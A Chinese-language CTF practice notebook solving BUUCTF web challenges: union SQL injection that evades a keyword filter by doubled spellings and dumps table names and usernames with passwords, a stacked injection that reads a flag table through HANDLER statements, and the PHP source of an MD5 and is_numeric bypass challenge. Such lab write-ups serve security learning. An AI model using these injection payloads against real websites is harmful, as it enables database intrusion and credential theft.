BUUCTF刷题笔记
BUUCTF刷题笔记[极客大挑战 2019]BabySQL从这句话我们可以看出,这个网站的后台是做了过滤处理的这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入输入1‘,看看返回的结果返回结果说明这个是字符型的SQL注入下面我们来进行一下注释发现是这个结果,所以肯定了我们的猜测下面要进行的是对其中的列进行爆破输入:1' order by 3 #可以看到再其中没有or我们采取的是对其进行重
BUUCTF刷题笔记
[极客大挑战 2019]BabySQL
从这句话我们可以看出,这个网站的后台是做了过滤处理的
这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入
输入1‘,看看返回的结果
返回结果说明这个是字符型的SQL注入
下面我们来进行一下注释
发现是这个结果,所以肯定了我们的猜测
下面要进行的是对其中的列进行爆破
输入:
1' order by 3 #
可以看到再其中没有or
我们采取的是对其进行重复的拼写进行绕过后台过滤
输入:
1’ oorrder by 3#`
发现还是不对,说明可能对其中的by也进行了过滤的要求
输入:
1‘ oorrder bbyy 4#
下面试探列数
发现为三的时候是对的
爆破数据库的名字输入:
1’ uniunionon seleselectct 1,2,database()#
表爆破输入:
1' uniunionon seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema = 'geek' #
爆列输入:
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name= 'b4bsql' #
字段爆破:
这个。。。,直接把password给过滤了。
输入:
1' ununionion selselectect 1,2,group_concat(username,passwoorrd) frfromom geek.b4bsql#
找到flag
Black_list
首先我么并不知道该做些什么的,但是现在我们要对其进行一下检验是否是有SQL注入攻击,输入:
1'
可以判断是字符型的错误
输入:
1’ or 1=1 #
判断数据数据库中的回显位数输入:
1' order by 3 #
可以得出回显的列数是不是两列输入:
1’ order by 2 #
现在输入:
-1‘ union select 1,database() #
返回的显示的是对输入的命令进行了过滤,将select过滤掉了
有另外一种的方法,就是堆叠注入的手法
首先什么是堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束;在结束一个sql语句后面构建下一条语句会一起执行吗?因此这个想法也造就了堆叠注入。而union injection(联合注入)同样也是将两条语句联合在一起执行的,但是两者之间又有什么不一样的区别的呢?主要是集中在union后面的语句执行的是任意的语句,而堆叠注入是任意的语句。
payload:
1';show tables;#
发现数据库的名字输入:
1'; show columns from `FlagHere`; #
发现flag输入:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得出flag
[MRCTF2020]Ez_bypass
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
这里主要是GET型传参
HTTP的GET请求:从指定的资源请求数据。
HTTP的GET请求方式:GET提交的数据会放在URL之后,并且会以?的方式分割URL和传输数据,参数之间以&相连。
更多推荐
所有评论(0)